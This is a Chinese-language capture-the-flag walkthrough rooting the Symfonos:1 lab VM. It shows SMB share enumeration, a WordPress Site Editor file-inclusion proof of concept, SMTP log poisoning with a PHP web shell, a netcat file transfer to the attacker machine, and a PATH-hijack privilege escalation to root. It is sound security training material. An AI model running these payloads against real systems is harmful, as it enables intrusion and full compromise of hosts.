信息搜集
https://yutianqaq.github.io/
赛博雨天
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 ab:5b:45:a7:05:47:a5:04:45:ca:6f:18:bd:18:03:c2 (RSA)
| 256 a0:5f:40:0a:0a:1f:68:35:3e:f4:54:07:61:9f:c6:4a (ECDSA)
|_ 256 bc:31:f5:40:bc:08:58:4b:fb:66:17:ff:84:12:ac:1d (ED25519)
25/tcp open smtp Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=symfonos
| Subject Alternative Name: DNS:symfonos
| Not valid before: 2019-06-29T00:29:42
|_Not valid after: 2029-06-26T00:29:42
|_smtp-commands: symfonos.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.5.16-Debian (workgroup: WORKGROUP)
Service Info: Hosts: symfonos.localdomain, SYMFONOS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
smb
smbclient -L 192.168.31.33
Password for [WORKGROUP\kali]:Sharename Type Comment--------- ---- -------print$ Disk Printer Drivershelios Disk Helios personal shareanonymous Disk IPC$ IPC IPC Service (Samba 4.5.16-Debian)
smbclient //192.168.31.33/anonymous
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> dir. D 0 Fri Jun 28 21:14:49 2019.. D 0 Fri Jun 28 21:12:15 2019attention.txt N 154 Fri Jun 28 21:14:49 2019
下载得到内容为
cat attention.txt Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! Next person I find using one of these passwords will be fired!-Zeus
smbclient //192.168.31.33/helios -U helios
Password for [WORKGROUP\helios]:
Try "help" to get a list of possible commands.
smb: \> dir. D 0 Fri Jun 28 20:32:05 2019.. D 0 Fri Jun 28 20:37:04 2019research.txt A 432 Fri Jun 28 20:32:05 2019todo.txt A 52 Fri Jun 28 20:32:05 201919994224 blocks of size 1024. 17304992 blocks available
得到内容为
cat research.txt todo.txt
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.1. Binge watch Dexter
2. Dance
3. Work on /h3l105
漏洞利用
访问网站目录是一个 wordpress 站
扫描
在这个版本中有文件包含漏洞
验证
** Proof of Concept **
http://<host>/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
view-source:http://symfonos.local/h3l105/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
stmp 写入shell
nc 192.168.31.33 25
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
mail from: test@a.com
250 2.1.0 Ok
rcpt to: helios@symfonos.localdomain
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
test:
<?php system($_GET['cmd']);?>
.
250 2.0.0 Ok: queued as 0891E40B8C
quit
221 2.0.0 Bye
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck
/bin/mount
/bin/umount
/bin/su
/bin/ping
helios@symfonos:/home$ /opt/statuscheck
/opt/statuscheck
HTTP/1.1 200 OK
Date: Wed, 03 Aug 2022 13:35:19 GMT
Server: Apache/2.4.25 (Debian)
Last-Modified: Sat, 29 Jun 2019 00:38:05 GMT
ETag: "148-58c6b9bb3bc5b"
Accept-Ranges: bytes
Content-Length: 328
Vary: Accept-Encoding
Content-Type: text/htmlhelios@symfonos:/home$ cd /opt
cd /opt
helios@symfonos:/opt$ ls
ls
statuscheck
helios@symfonos:/opt$ ls -al
ls -al
total 20
drwxr-xr-x 2 root root 4096 Jun 28 2019 .
drwxr-xr-x 22 root root 4096 Jun 28 2019 ..
-rwsr-xr-x 1 root root 8640 Jun 28 2019 statuscheck
helios@symfonos:/opt$ cat statuscheck | nc 192.168.31.134 1234
cat statuscheck | nc 192.168.31.134 1234
将文件传输至 kali，分析文件
是没有使用绝对路径的来执行命令
下面为环境变量提权
helios@symfonos:/opt$ cd /tmp
cd /tmp
helios@symfonos:/tmp$ echo "chmod u+s /bin/bash" > curl
echo "chmod u+s /bin/bash" > curl
helios@symfonos:/tmp$ chmod 777 curl
chmod 777 curl
helios@symfonos:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH
helios@symfonos:/tmp$ /opt/statuscheck
/opt/statuscheck
helios@symfonos:/tmp$ ls -l /bin/bash
ls -l /bin/bash
-rwsr-xr-x 1 root root 1099016 May 15 2017 /bin/bash
ROOT
helios@symfonos:/tmp$ /bin/bash -p
/bin/bash -p
bash-4.4# id
id
uid=1000(helios) gid=1000(helios) euid=0(root) groups=1000(helios),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev)
bash-4.4# cat proof.txt
cat proof.txtCongrats on rooting symfonos:1!\ __
--==/[})))==*/ \ ' ,|`\`\ //| ,|\ `\ //,/' -~ |) _-~~~\ |/ / |'| _-~ / ,(( /' ) | \ / /'/ _-~ _/_-~|((( ; /` ' )/ /'' _ -~ _-~ ,/') )) `~~\ `\\/'/|' __--~~__--\ _-~ _/,
((( )) / ~~ \ /~ __--~~ --~~ __/~ _-~ /((\~\ | ) | ' / __--~~ \-~~ _-~`\(\ __--( _/ |'\ / --~~ __--~' _-~ ~|( ((~~ __-~ \~\ / ___---~~ ~~\~~__--~ ~~\~~~~~~ `\-~ \~\ / __--~~~'~~/;\ __.-~ ~-/ ~~~~~__\__---~~ _..--._;;;;;;;;' / ---~~~/_.-----.-~ _.._ ~\ ;;;;;;;' / ----~~/ `\,~ `\ \ ;;;;' ( ---~~/ `:::| `\\. |' _ `----~~~~' / `:| ()))), ______/\/~ | / / (((((()) /~;;.____/;;' / ___.---( `;;;/ )))'`))/ // _;______;'------~~~~~ |;;/\ / (( ( // \ \ / | \;;,\ ` (<_ \ \ /',/-----' _> \_| \\_ //~;~~~~~~~~~ \_| (,~~ \~\~~Contact me via Twitter @zayotic to give feedback!bash-4.4#
